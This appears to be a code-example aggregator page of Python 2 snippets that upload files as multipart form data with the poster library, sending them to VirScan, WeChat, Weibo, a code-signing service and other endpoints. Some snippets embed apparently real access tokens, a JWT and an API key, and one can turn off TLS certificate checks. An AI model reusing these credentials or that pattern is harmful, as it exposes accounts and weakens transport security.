    url = r'http://up.virscan.org/up.php'


    datagen, headers = multipart_encode({"upfile": open(pyew.filename, "rb"),
        'UPLOAD_IDENTIFIER' : 'KEYbc7cf6642fc84bf67747f1bbdce597f0',
        'langkey' : '1',
        'setcookie' : '0',
        'tempvar' : '',
        'fpath' : 'C:\\fakepath\\'+pyew.filename
        })


    request = urllib2.Request(url, datagen, headers)
    request.add_header('Host', 'up.virscan.org')
    request.add_header('Cache-Control', 'max-age=0')
    request.add_header('User-Agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36')
    request.add_header('Host', 'up.virscan.org')
    request.add_header('Accept-Encoding', 'gzip, deflate')
    request.add_header('Accept-Language', 'zh-CN,zh;q=0.8,en;q=0.6')

    resp = urllib2.urlopen(request).read()
    if re.findall("innerHTML='(.*?) file upload", resp):
        print "Upload File Failed"
    else:
        print "Upload Success"
Пример #29
0
def send_weibo(content,pic_data):
    url="http://jpauto.sinaapp.com/weibo"
##    url="http://*****:*****@gmail.com||title:send_weibo failed!||body:'+str(result.status_code),
##                       deadline=10)
        return False
Пример #30
0
    def uploadFile(url,path,spath,key,id):
        # 在 urllib2 上注册 http 流处理句柄
        print ("1111<<<")
        register_openers()
        print ("22222<<<")
        # 开始对文件 "DSC0001.jpg" 的 multiart/form-data 编码
        # "image1" 是参数的名字,一般通过 HTML 中的 <input> 标签的 name 参数设置

        # headers 包含必须的 Content-Type 和 Content-Length
        # datagen 是一个生成器对象,返回编码过后的参数
        #datagen, headers = multipart_encode({"file":f.stream,"smallfile":f.stream,"bannerId":id})

        #image_path = "/Users/hucx/Desktop/hello/400x400.png"
        fr = open(path, "rb")
        #image_path1="/Users/hucx/Desktop/hello/01.jpg"
        fr1=open(spath, "rb")
        params = {'file': fr,"smallfile":fr1,key: id}
        datagen, headers = multipart_encode(params)

        print ("=====")
        print (datagen)
        print (headers)
        # 创建请求对象
        request = urllib2.Request(url, datagen, headers)
        response_data = urllib2.urlopen(request)
        result = response_data.read()
        return result
Пример #31
0
#! /usr/bin/env python

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2

register_openers()

datagen, headers = multipart_encode({
    "image":
    open("./cat-3.jpg", "rb"),
    "fileId":
    "02a0bbcaba434d238c6d31a851f136dc"
})
request = urllib2.Request("http://192.168.10.170/uploadDetectedImage.do",
                          datagen, headers)

print(urllib2.urlopen(request).read())
Пример #32
0
import urllib2
import StringIO
import json
from tornado.httpclient import HTTPRequest, HTTPClient

# 在 urllib2 上注册 http 流处理句柄
register_openers()

file_url = "http://api.beiqicloud.com:8106/down?tk=90b21cd88046e516e550a110ec68f703781556a9ec137343c5972c3bc53acc6546ce3e7be4352d3edefec7696724c8fe2b054c5996c1a03c38f29830965c050f5a01a18403d70c6e301afe0dac22f31b521dcbf7be73ace272b8ea90fd02e32078d2491682072fee253489&r=88ded5a264996f38bf756bc5ca7f932ef339e3a16de2f0689643aecb596b3fb62218c023ba19cc02ac7c774490dc8ff1188c59c4445a8f928dcb67f8a9a3a1196a3c03efdd50bbd17bda30243e11af3343c07e02ef0721939f6675071055c2ceab59a87735552970f831ada2e9c0597c11ea5f766afe9832e33e798c07bef78b8e81dba3ea"

param = MultipartParam(name='media',
                       filename='video.mp4',
                       filetype='video/mp4',
                       fileobj=StringIO.StringIO(
                           urllib2.urlopen(file_url).read()))
datagen, headers = multipart_encode({"media": param})

# 创建请求对象
access_token = 'MP5AIQkgKPqmyszI6YPmfHSHb1lP7UAdivzmPX24c2T3bRKNJpxEiuzGm5AkrGTKypUl8r1UtrSuh-Lkr_auerfXmDZSYByoX8Eyjd2e-nKKloMvjva8V7L6pYzQfFvzGVTfAJAVKI'
type = 'video'
request = urllib2.Request(
    "http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=%s"
    % (access_token, type), datagen, headers)

# 实际执行请求并取得返回
upload_result = urllib2.urlopen(request).read()
upload_result = json.loads(upload_result)
print upload_result

wechat_down_url = "http://file.api.weixin.qq.com/cgi-bin/media/get?access_token=%s&media_id=%s" % (
    access_token, upload_result.get('media_id'))
posx = "posx.jpg"  # Positive x-axis picture
posy = "posy.jpg"  # Positive y-axis picture (UP)
posz = "posz.jpg"  # Positive z-axis picture
negx = "negx.jpg"  # Negative x-axis picture
negy = "negy.jpg"  # Negative y-axis picture
negz = "negz.jpg"  # Negative z-axis picture

register_openers()

data = {
    'name': modelName,
    'description': description,
    'category': category,
    'tags': tags,
    'picture': open(path + picture),
    'posx': open(path + posx),
    'posy': open(path + posy),
    'posz': open(path + posz),
    'negx': open(path + negx),
    'negy': open(path + negy),
    'negz': open(path + negz)
}

datagen, headers = multipart_encode(data)

request = urllib2.Request("http://www.threecandy/api/newmodel/", datagen,
                          headers)
base64string = base64.encodestring('%s:%s' % (username, password))[:-1]
request.add_header("Authorization", "Basic %s" % base64string)

print urllib2.urlopen(request).read()
Пример #34
0
    def make_request(self, path, data=None,
                     ajax=False, debug=True, force_login=False):
        url = path if path.startswith("http") else self.url + path
        if ajax:
            url += '&force_ajax=true' if '?' in url else '?force_ajax=true'
        request = None
        # Create a fake request to store login details.
        _request = None
        _session_id = None
        if force_login:
            session_cookie = settings.SESSION_COOKIE_NAME
            for cookie in self.cookies.cookiejar:
                if cookie.name == session_cookie:
                    _session_id = cookie.value
                    self.response_cookies += "; %s=%s" % (session_cookie, _session_id)
                    # _request = self.force_login(self.u)

                    # # Save the session values.
                    # _request.session.save()
                    # logger.info(_request.session)

                    # # Set the cookie to represent the session.
                    # logger.info(" -- session %s == %s " % (cookie.value, _request.session.session_key))
                    # cookie.value = _request.session.session_key
                    # cookie.expires = None
                    # self.cookies.cookiejar.set_cookie(cookie)

        if data:
            items = []
            # wrap post parameters
            for name, value in data.items():
                if isinstance(value, file):
                    # add file
                    items.append(MultipartParam.from_file(name, value.name))
                else:
                    if name == 'csrfmiddlewaretoken' and _request and _request.META['CSRF_COOKIE']:
                        value = _request.META['CSRF_COOKIE']
                        self.csrf_token = value
                        for cookie in self.cookies.cookiejar:
                            if cookie.name == 'csrftoken':
                                cookie.value = value
                                self.cookies.cookiejar.set_cookie(cookie)
                    items.append(MultipartParam(name, value))
                logger.debug(" MultipartParam: %s / %s: " % (name, value))
            datagen, headers = multipart_encode(items)
            request = urllib2.Request(url, datagen, headers)
        else:
            request = urllib2.Request(url=url)

        if self.csrf_token:
            request.add_header('X-CSRFToken', self.csrf_token)
        if self.response_cookies:
            request.add_header('cookie', self.response_cookies)
        if ajax:
            request.add_header('X_REQUESTED_WITH', 'XMLHttpRequest')

        try:
            return self.opener.open(request)
        except urllib2.HTTPError as ex:
            if not debug:
                raise
            logger.error('error in request to %s' % path)
            logger.error(ex.reason)
            logger.error(ex.read())
            raise
Пример #35
0
    def _process_source(self,
                        resource_id,
                        location,
                        resource,
                        args=None,
                        progress_bar=False,
                        callback=None,
                        out=sys.stdout):
        """Creates a new source.

        """
        code = HTTP_INTERNAL_SERVER_ERROR
        error = {
            "status": {
                "code": code,
                "message": "The resource couldn't be created"
            }
        }

        if progress_bar and callback is not None:
            body, headers = multipart_encode(args, cb=callback)
        else:
            body, headers = multipart_encode(args)

        request = urllib2.Request(self.source_url + self.auth, body, headers)

        try:
            # try using the new SSL checking in python 2.7.9
            try:
                if not self.verify and PYTHON_2_7_9:
                    context = ssl.create_default_context(
                        ssl.Purpose.CLIENT_AUTH)
                    context.verify_mode = ssl.CERT_NONE
                    https_handler = StreamingHTTPSHandler(context=context)
                    opener = urllib2.build_opener(https_handler)
                    urllib2.install_opener(opener)
                    response = urllib2.urlopen(request)
                else:
                    response = urllib2.urlopen(request)
            except AttributeError:
                response = urllib2.urlopen(request)
            clear_console_line(out=out)
            reset_console_line(out=out)
            code = response.getcode()
            if code == HTTP_CREATED:
                location = response.headers['location']
                content = response.read()
                resource = json.loads(content, 'utf-8')
                resource_id = resource['resource']
                error = {}
        except ValueError:
            LOGGER.error("Malformed response")
        except urllib2.HTTPError, exception:
            code = exception.code
            if code in [
                    HTTP_BAD_REQUEST, HTTP_UNAUTHORIZED, HTTP_PAYMENT_REQUIRED,
                    HTTP_NOT_FOUND, HTTP_TOO_MANY_REQUESTS
            ]:
                content = exception.read()
                error = json.loads(content, 'utf-8')
                LOGGER.error(self.error_message(error, method='create'))
            else:
                LOGGER.error("Unexpected error (%s)", code)
                code = HTTP_INTERNAL_SERVER_ERROR
Пример #36
0
def do_post(SERVER, content, function='push-to-registry'):
    data, head = multipart_encode({'content': content})
    req = urllib2.Request("%s/%s/" % (SERVER, function), data, head)
    fd = urllib2.urlopen(req, data)
    return fd.read()
Пример #37
0
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.
#
# Authors: Miguel Angel Julian <*****@*****.**>;
#          Daniel Cuadrado <*****@*****.**>;
#          Arturo Bajuelos <*****@*****.**>;
#          Sergio Merino <*****@*****.**>;
#Envio de file -> http://atlee.ca/software/poster/
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2

import sys

register_openers()

file1 = open(sys.argv[1], "rb")
datagen, headers = multipart_encode({"file1": file1})

url = "http://" + sys.argv[2] + ":" + sys.argv[3] + "/upload"
request = urllib2.Request(url, datagen, headers)
print urllib2.urlopen(request).read()

file1.close()
Пример #38
0
 def upload_case_file(self, file):
     register_openers()
     datagen, headers = multipart_encode({"xml_submission_file": open(file, "r")})
     request = urllib2.Request(self.receiver_url , datagen, headers)
     response = urllib2.urlopen(request)
     return response.getcode()
Пример #39
0
#-*-coding:utf-8-*-
#!usr/bin/python
# image.py
#-*-coding=utf-8-*-
from poster.encode import multipart_encode
import urllib2
import sys
from urllib2 import Request, urlopen, URLError, HTTPError
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
  
register_openers()
f=open("img.jpeg", "rb")
# headers 包含必须的 Content-Type 和 Content-Length
# datagen 是一个生成器对象,返回编码过后的参数
datagen, headers = multipart_encode({"data": f,"logo":"logo"})
# 创建请求对象
request = urllib2.Request("http://localhost:8000/data/upload", datagen, headers)
try:
    response = urllib2.urlopen(request)
    print response.read()
     
except URLError,e:
    print e.reason
Пример #40
0
    def post(self,
             url,
             file=None,
             data=None,
             save=None,
             headers={},
             multipart=False,
             return_url=False,
             return_headers=False,
             code=False):
        if not (file or data):
            return self.get(url, save, headers=headers)

        response = None
        result = []

        if multipart:
            data, _headers = multipart_encode(data)
            if not headers:
                headers = _headers
            else:
                headers = headers.copy()
                headers.update(_headers)
        else:
            if type(data) in (list, tuple, set, frozenset):
                data = urllib.urlencode({k: v for k, v in data})
            elif type(data) == dict:
                data = urllib.urlencode(data)

        url = urllib2.Request(url, data, headers)

        if file:
            with open(file, 'rb') as body:
                response = self.opener.open(url, body, timeout=self.timeout)
        else:
            response = self.opener.open(url, timeout=self.timeout)

        if save:
            with open(save, 'w+b') as output:
                while True:
                    chunk = response.read(65535)
                    if not chunk:
                        break

                    output.write(chunk)

                result = [save]
        else:
            result = [response.read()]

        if return_url:
            result.append(response.url)

        if code:
            result.append(response.code)

        if return_headers:
            result.append(response.info().dict)

        if len(result) == 1:
            return result[0]
        else:
            return tuple(result)
Пример #41
0
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
import sys

# Register the streaming http handlers with urllib2
register_openers()

# Use multipart encoding for the input files
datagen, headers = multipart_encode({ 'files[]': open('../data/MMGP_data.db', 'rb')})

# Create the request object
request = urllib2.Request('https://www.rebasedata.com/api/v1/convert', datagen, headers)

# Do the request and get the response
# Here the SQLite file gets converted to CSV
response = urllib2.urlopen(request)

# Check if an error came back
if response.info().getheader('Content-Type') == 'application/json':
    print response.read()
    sys.exit(1)

# Write the response to /tmp/output.zip
with open('output.zip', 'wb') as local_file:
    local_file.write(response.read())

print 'Conversion result successfully written to /tmp/output.zip!'

import zipfile
zip_ref = zipfile.ZipFile('output.zip', 'r')
Пример #42
0
    def _sign_app(self,
                  build,
                  provisioning_profile,
                  entitlements_file,
                  certificate=None,
                  certificate_path=None,
                  certificate_password=None):
        app_folder_name = self._locate_ios_app(
            error_message="Couldn't find iOS app in order to sign it")
        path_to_app = path.abspath(
            path.join(self.path_to_ios_build, 'ios', app_folder_name))

        embedded_profile = 'embedded.mobileprovision'
        path_to_embedded_profile = path.abspath(
            path.join(path_to_app, embedded_profile))

        path_to_pp = path.join(build.orig_wd, provisioning_profile)
        if not path.isfile(path_to_pp):
            raise IOSError(
                "{path} is not a provisioning_profile: "
                "use the --ios.profile.provisioning_profile option".format(
                    path=path_to_pp))

        try:
            os.remove(path_to_embedded_profile)
        except Exception:
            LOG.warning("Couldn't remove {profile}".format(
                profile=path_to_embedded_profile))
        shutil.copy2(path_to_pp, path_to_embedded_profile)

        if not sys.platform.startswith('darwin'):
            if not certificate_path:
                raise IOSError(
                    "To deploy iOS apps to a device, you must specify a "
                    "path to a certificate to sign with: "
                    "see http://docs.trigger.io/en/v1.3/tools/ios-windows.html"
                )

            if not certificate_password:
                raise IOSError(
                    "To deploy iOS apps to a device, you must specify a "
                    "the to unlock your certificate: "
                    "see http://docs.trigger.io/en/v1.3/tools/ios-windows.html"
                )

            # Remote
            LOG.info(
                'Sending app to remote server for codesigning. Uploading may take some time.'
            )

            # Zip up app
            with temp_file() as app_zip_file:
                with ZipFile(app_zip_file, 'w') as app_zip:
                    for root, dirs, files in os.walk(path_to_app,
                                                     topdown=False):
                        for file in files:
                            app_zip.write(
                                path.join(root, file),
                                path.join(root[len(path_to_app):], file))
                            os.remove(path.join(root, file))
                        for dir in dirs:
                            os.rmdir(path.join(root, dir))

                from poster.encode import multipart_encode
                from poster.streaminghttp import register_openers
                import urllib2

                class FileWithProgress:
                    def __init__(self, path, flags):
                        self.total_size = os.path.getsize(path)
                        self.file = open(path, flags)
                        self.name = self.file.name
                        self.path = path
                        self.amount_read = 0
                        self.last_progress = 0

                    def read(self, length):
                        data = self.file.read(length)
                        if data != "":
                            self.amount_read = self.amount_read + len(data)
                            # TODO: Nicer progress output
                            progress = 10 * self.amount_read / self.total_size
                            if progress > self.last_progress:
                                self.last_progress = progress
                                LOG.info(
                                    str(10 * progress) +
                                    " percent uploaded: " + self.path)
                        else:
                            self.file.close()
                        return data

                    def fileno(self):
                        return self.file.fileno()

                    def seek(self, pos):
                        return self.file.seek(pos)

                files = {
                    'app': FileWithProgress(app_zip_file, 'rb'),
                    'entitlements': FileWithProgress(entitlements_file, 'rb'),
                    'certificate': FileWithProgress(certificate_path, 'rb'),
                    'password': certificate_password
                }

                # Register the streaming http handlers with urllib2
                register_openers()

                # headers contains the necessary Content-Type and Content-Length
                # datagen is a generator object that yields the encoded parameters
                datagen, headers = multipart_encode(files)

                # Create the Request object
                request = urllib2.Request("https://trigger.io/codesign/sign",
                                          datagen, headers)

                with temp_file() as signed_zip_file:
                    resp = urllib2.urlopen(request)

                    # Read the log lines from the start of the response
                    while True:
                        data = resp.readline()
                        if data == "--failure\n":
                            raise IOSError("Remote codesign failed")
                        elif data == "--data\n" or data == "":
                            break
                        LOG.info(data.rstrip('\r\n'))

                    # Read the binary data from the 2nd part of the response
                    # TODO: Chunked download and progress
                    with open(signed_zip_file, 'wb') as signed_zip:
                        signed_zip.write(resp.read())

                    # Unzip response
                    zip_to_extract = ZipFile(signed_zip_file)
                    zip_to_extract.extractall(path_to_app)
                    zip_to_extract.close()
                    LOG.info('Signed app received, continuing with packaging.')

        else:
            # Local
            codesign = self._check_for_codesign()
            resource_rules = path.abspath(
                path.join(path_to_app, 'ResourceRules.plist'))
            run_shell(codesign, '--force', '--preserve-metadata',
                      '--entitlements', entitlements_file, '--sign',
                      certificate,
                      '--resource-rules={0}'.format(resource_rules),
                      path_to_app)
Пример #43
0
    def sendRequest(self, action, param):
        if(param==None):
            param="None"
        if(action=="UnloadServerScene"):
            key, region = param
            param = key + ":" + region
            
        url = None 
        offset = None
        if(action=="UploadSceneUrl"):
            url, offset = param
            param = ""

        datagen, headers = multipart_encode({"uploadscene": param})
        headers['USceneMethod']=action

        if(action=="UploadSceneUrl"):
            headers['OffSet']=offset
            headers['SceneUrl']=url

        try:

            request = urllib2.Request(self.cap_url, datagen, headers) # post
            responce = urllib2.urlopen(request).read()
            #r.logInfo(responce)
            if(action=="GetUploadSceneList"):
                parser = sceneactionsxml.XmlSceneRegionResponceParser(responce)
                d = parser.parse()
                if d.has_key('error'):
                    self.handleErrors(d)
                self.controller.window.setServerScenes(d)
                self.ongoingGetUploadSceneList = False
                pass
            elif(action=="DeleteServerScene"):
                parser = sceneactionsxml.XmlStringDictionaryParser(responce)
                d = parser.parse()
                self.ongoingDeleteServerScene = False
                self.handleErrors(d)
                pass
            elif(action=="UnloadServerScene"):
                parser = sceneactionsxml.XmlStringDictionaryParser(responce)
                d = parser.parse()
                self.ongoingUnloadServerScene = False
                self.handleErrors(d)
                pass
            elif(action=="LoadServerScene"):
                parser = sceneactionsxml.XmlStringDictionaryParser(responce)
                d = parser.parse()
                self.ongoingGetLoadServerScene = False
                self.handleErrors(d)
                pass
            elif(action=="UploadSceneUrl"):
                # cant parse this if there's no error resp must be = None or '' lets find out
                if responce == None or str(responce)== "":
                    return 1
                else:
                    parser = sceneactionsxml.XmlStringDictionaryParser(responce)
                    d = parser.parse()
                    self.ongoingUploadSceneUrl = False
                    self.handleErrors(d)
                pass
            return 1
        except URLError, e:
            r.logInfo(e.code)
            return 0
Пример #44
0
    def returnToSio(self, x, url, orig_env=None, tid=None, count=0):
        if isinstance(x, Failure):
            assert orig_env
            env = orig_env
            log.failure('Returning with error', x, LogLevel.warn)
        else:
            env = x

        if not tid:
            tid = env['group_id']

        bodygen, hdr = encode.multipart_encode({'data': json.dumps(env)})
        body = ''.join(bodygen)

        headers = Headers({'User-Agent': ['sioworkersd']})
        for k, v in hdr.iteritems():
            headers.addRawHeader(k, v)

        def do_return():
            # This looks a bit too complicated for just POSTing a string,
            # but there seems to be no other way. Blame Twisted.

            # agent.request() will add content-length based on length
            # from FileBodyProducer. If we have another in headers,
            # there will be a duplicate, so remove it.
            headers.removeHeader('content-length')

            producer = client.FileBodyProducer(StringIO(body))
            d = self.agent.request('POST', url.encode('utf-8'), headers,
                                   producer)

            @defer.inlineCallbacks
            def _response(r):
                if r.code != 200:
                    log.error(
                        'return error: server responded with status" \
                            "code {r.code}, response body follows...', r)
                    bodyD = yield client.readBody(r)
                    log.debug(bodyD)
                    raise RuntimeError('Failed to return task')

            d.addCallback(_response)
            return d

        ret = do_return()

        def _updateCount(x, n):
            self.database.update(tid, {'retry_cnt': n}, sync=False)
            # No db sync here, because we are allowing more attempts
            # of retrying returning job result for better performance.
            # It should be synced soon with other task
            # or `self.database` itself.
            return x  # Transparent callback

        def retry(err, retry_cnt):
            if retry_cnt >= MAX_RETRIES_OF_RESULT_RETURNING:
                log.error('Failed to return {tid} {count} times, giving up.',
                          tid=tid,
                          count=retry_cnt)
                return
            log.warn('Returning {tid} to url {url} failed, retrying[{n}]...',
                     tid=tid,
                     url=url,
                     n=retry_cnt)
            log.failure('error was:', err, LogLevel.info)
            d = deferLater(reactor, RETRY_DELAY_OF_RESULT_RETURNING[retry_cnt],
                           do_return)
            d.addBoth(_updateCount, n=retry_cnt)
            d.addErrback(retry, retry_cnt + 1)
            return d

        ret.addErrback(retry, retry_cnt=count)
        ret.addBoth(self._returnDone, tid=tid)
        return ret
Пример #45
0
#adapted from mitomaster website (https://www.mitomap.org/mitomaster/webservice.cgi)

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
import sys

try:
    fname = sys.argv[1]
except:
    sys.stderr.write("Usage: ./mito_master_api.py filename > outfile \n")
    sys.exit(1)

register_openers()

#fileType can be sequences or snvlist
datagen, headers = multipart_encode({
    "file": open(fname),
    'fileType': 'sequences',
    'output': 'detail'
})

request = urllib2.Request("https://mitomap.org/mitomaster/websrvc.cgi",
                          datagen, headers)
try:
    print urllib2.urlopen(request).read()
except urllib2.HTTPError, e:
    print "HTTP error: %d" % e.code
except urllib2.URLError, e:
    print "Network error: %s" % e.reason.args[1]
Пример #46
0
 def multipart(self, url, fields):
     register_openers()
     datagen, headers = multipart_encode(fields)
     request = urllib2.Request(url, datagen, headers)
     return urllib2.urlopen(request)
Пример #47
0
def post_file(filename, url, media='media'):
    '''上传文件'''
    register_openers()
    datagen, headers = multipart_encode({media: open(filename, "rb")})
    request = urllib2.Request(url, datagen, headers)
    return urllib2.urlopen(request).read()
Пример #48
0
  def write(self, content=None, blob=None, fp=None, mime_type=None, meta=None,
            **kwargs):
    """Writes contents to a file.

    Args:
      content: A byte string representing the contents of the file.
      blob: If content is not provided, a BlobKey pointing to the file.
      fp: If no content and no blob, pass an already-open file pointer.
          This file will be uploaded as multipart data directly to the
          blobstore and this File's blob keys will be automatically populated.
          This arg must be used instead of content for files over ~10 MB.
      mime_type: The MIME type of the file. If not provided, then the MIME type
          will be guessed based on the filename.
      meta: A dict of meta key-value pairs.
      **kwargs: Additional keyword args to be encoded in the request params.
    """
    self._file_data = None

    params = [('path', self.path)]
    if content is not None:
      params.append(('content', content))
    if blob is not None:
      params.append(('blob', blob))
    if meta is not None:
      params.append(('meta', json.dumps(meta)))
    if mime_type is not None:
      params.append(('mime_type', mime_type))

    # Extra keyword arguments.
    if self._file_kwargs:
      params.append(('file_params', json.dumps(self._file_kwargs)))
    if kwargs:
      params.append(('method_params', json.dumps(kwargs)))

    try:
      if fp:
        # If given a file pointer, create a multipart encoded request.
        path = FILE_API_PATH_BASE + FILE_NEWBLOB_API
        write_blob_url = self._titan_client.fetch_url(path).content
        params.append(('file', fp))
        content_generator, headers = encode.multipart_encode(params)
        # Make custom opener to support multipart POST requests.
        opener = urllib2.build_opener()
        opener.add_handler(streaminghttp.StreamingHTTPHandler())
        opener.add_handler(streaminghttp.StreamingHTTPSHandler())
        # Upload directly to the blobstore URL, avoiding authentication.
        request = urllib2.Request(write_blob_url, data=content_generator,
                                  headers=headers)
        response = opener.open(request)
        # Pull the blobkey out of the query params and fall through
        # to the POST to /_titan/file.
        url = response.geturl()
        response_params = urlparse.parse_qs(urlparse.urlparse(url).query)

        # Verify that "blob" was not passed in.
        assert not blob
        params.append(('blob', response_params['blob'][0]))
      path_param = {'path': self.path}
      url = '%s?%s' % (FILE_API_PATH_BASE, urllib.urlencode(path_param))
      payload = urllib.urlencode(params)
      response = self._titan_client.fetch_url(url, method='POST',
                                              payload=payload)
      self._verify_response(response)
    except urllib2.HTTPError, e:
      if e.code == 404:
        raise BadRemoteFileError('File does not exist: %s' % self.path)
      raise
Пример #49
0
    def receive(self, mail_message):
        try:
            complete_message = mail_message.original

            sender = mail_message.sender
            to = self.recipients_as_string(mail_message.to) if hasattr(mail_message, 'to') else None
            cc = self.recipients_as_string(mail_message.cc) if hasattr(mail_message, 'cc') else None
            bcc = self.recipients_as_string(complete_message.bcc) if hasattr(complete_message, 'bcc') else None
            message_id = complete_message.get('message-id', None)

            subject = mail_message.subject if hasattr(mail_message, 'subject') else ''

            body = ''.join(self.get_body_parts(mail_message, 'text/plain'))
            html_body = ''.join(self.get_body_parts(mail_message, 'text/html'))

            try:
                if os.environ.get('COPY_DB'):
                    self.persist(message_id, sender, to, cc, bcc, subject, body, html_body)
            except:
                logging.exception('Error saving email.')
                self.log_complete_message(complete_message)

            try:
                if os.environ.get('COPY_EMAIL'):
                    self.send_copy(message_id, sender, to, cc, bcc, subject, body, html_body)
            except:
                logging.exception('Error sending email copy.')
                self.log_complete_message(complete_message)

            params = [MultipartParam('sender', value=sender),
                      MultipartParam('to', to),
                      MultipartParam('subject', value=subject),
                      MultipartParam('body', value=body),
                      MultipartParam('htmlbody', value=html_body),
            ]

            if cc:
                params.append(MultipartParam('cc', cc))
            if bcc:
                params.append(MultipartParam('bcc', bcc))
            if message_id:
                params.append(MultipartParam('message-id', message_id))

            if hasattr(mail_message, 'attachments') and mail_message.attachments:
                # Only process the first
                name, content = mail_message.attachments[0]
                params.append(MultipartParam(
                    'picture',
                    filename=name,
                    value=content.decode()))

            payloadgen, headers = multipart_encode(params)
            payload = str().join(payloadgen)

            result = urlfetch.fetch(
                url=os.environ.get('DESTINATION_URL'),
                payload=payload,
                method=urlfetch.POST,
                headers=headers,
                deadline=60)

            self.response.out.write('HTTP RESPONSE STATUS: %s<br />' % result.status_code)
            self.response.out.write(result.content)
        except:
            logging.exception('Other unexpected error, logging')
            self.log_complete_message(complete_message)
 #
 # print 'SERVER RESPONSE:'
 # print urllib2.urlopen(request).read()
 # Open the file as a memory mapped string. Looks like a string, but
 # actually accesses the file behind the scenes.
 register_openers()
 size = file_size('K:\\video.mp4')
 sha = file_hash('K:\\video.mp4')
 filename = json.dumps({'size': size, 'sha256': sha})
 f = open('K:\\video.mp4', 'rb')
 file_data = MultipartParam(name='video.mp4',
                            filename=filename,
                            fileobj=f,
                            filesize=size)
 params = {'video.mp4': file_data}
 datagen, headers = multipart_encode(params)
 # datagen, headers = multipart_encode({"audio.mp3": f, "filename": filename})
 # datagen, headers = multipart_encode({"audio.mp3": (filename, f, "application/octet-stream")})
 # mmapped_file_as_string = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
 url = 'http://10.5.51.46:3000/drives/1ebbef93-28cb-44e2-a910-b9176f28386b/dirs/cbbe2974-0bf4-4547-81bb-60ab851e1f56/entries'
 # Do the request
 request = urllib2.Request(url, datagen, headers)
 # request = urllib2.Request(url, mmapped_file_as_string)
 request.add_header(
     'Authorization',
     'JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1dWlkIjoiZmNlNTgzMDUtMDlhMC00NmQ4LWIyYTYtZjgzODA3OTk3NzIzIn0.R9jtJqjFPAZx5xaemfET7wBUfdZhs3JjnKXjW_Z0Jqg'
 )
 print urllib2.urlopen(request).read()
 # request.add_header("Content-Type", "application/octet-stream")
 # response = urllib2.urlopen(request)
 #
Пример #51
0
def upload_file(url, file_full_name):
    register_openers()
    datagen, headers = multipart_encode({'file': open(file_full_name, 'rb')})
    req = urllib2.Request(url, datagen, headers)
    res = urllib2.urlopen(req)
    return res.read()
Пример #52
0
def http_post_file(url, name, path):
    datagen, headers = multipart_encode({name: open(path, "rb+")})
    request = urllib2.Request(url, datagen, headers)
    response = urllib2.urlopen(request)
    the_page = response.read()
    return the_page
Пример #53
0
from poster.encode import multipart_encode, MultipartParam
from poster.streaminghttp import register_openers
import urllib2

url = "https://api.webempath.net/v2/analyzeWav"
register_openers()
items = []
items.append(
    MultipartParam('apikey', "jZNehSahdorqYqYUSPg8HYaI9fTHdl1SRvQoglcHQV8"))
items.append(MultipartParam.from_file('wav', "recoding4.wav"))
datagen, headers = multipart_encode(items)
request = urllib2.Request(url, datagen, headers)
response = urllib2.urlopen(request)
if response.getcode() == 200:
    print(response.read())
else:
    print("HTTP status %d" % (response.getcode()))
Пример #54
0
import picamera

with picamera.PiCamera() as camera:
    camera.hflip = True
    camera.start_preview()
    sleep(2)
    camera.capture('/home/pi/Desktop/Photobooth/image.jpg')
    camera.stop_preview()

# test_client.py
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2

# Register the streaming http handlers with urllib2
register_openers()

# Start the multipart/form-data encoding of the file "DSC0001.jpg"
# "image1" is the name of the parameter, which is normally set
# via the "name" parameter of the HTML <input> tag.

# headers contains the necessary Content-Type and Content-Length
# datagen is a generator object that yields the encoded parameters
datagen, headers = multipart_encode({"image": open("image.jpg", "rb")})

# Create the Request object
request = urllib2.Request("http://henrysaniuk.com/upload/index.php", datagen,
                          headers)
# Actually do the request, and get the response
print urllib2.urlopen(request).read()
Пример #55
0
def multipart_encode_for_requests(params, boundary=None, cb=None):
    datagen, headers = multipart_encode(params, boundary, cb)
    return IterableToFileAdapter(datagen), headers
Пример #56
0
# test_client.py
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2

# Register the streaming http handlers with urllib2
register_openers()

# Start the multipart/form-data encoding of the file "DSC0001.jpg"
# "image1" is the name of the parameter, which is normally set
# via the "name" parameter of the HTML <input> tag.

# headers contains the necessary Content-Type and Content-Length
# datagen is a generator object that yields the encoded parameters
datagen, headers = multipart_encode(
    {"image1": open("D:\Download\logo_tobe.jpg", "rb")})

# Create the Request object
request = urllib2.Request("https://172.25.21.205/logo/logo_default", datagen,
                          headers)
# Actually do the request, and get the response
print urllib2.urlopen(request).read()
Пример #57
0
#!/usr/bin/python
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
import json

#url = "http://pictrail.tk:8000/"
url = "http://203.195.155.219/"
register_openers()
data = {'hello': 'world', 'here': 'there',}
json_data = json.dumps(data)

#datagen, headers = multipart_encode({"json": json_data})
datagen, headers = multipart_encode({"script1": open(__file__, "rb"), "json": json_data})
#datagen, headers = multipart_encode({"script1": open(__file__, "rb")})

request = urllib2.Request(url, datagen, headers)

print urllib2.urlopen(request).read()
Пример #58
0
    def _sign_app(self,
                  build,
                  provisioning_profile,
                  entitlements_file,
                  certificate=None,
                  certificate_path=None,
                  certificate_password=None):
        app_folder_name = self._locate_ios_app(
            error_message="Couldn't find iOS app in order to sign it")
        path_to_app = path.abspath(
            path.join(self.path_to_ios_build, 'ios', app_folder_name))

        embedded_profile = 'embedded.mobileprovision'
        path_to_embedded_profile = path.abspath(
            path.join(path_to_app, embedded_profile))

        path_to_pp = path.join(build.orig_wd, provisioning_profile)
        if not path.isfile(path_to_pp):
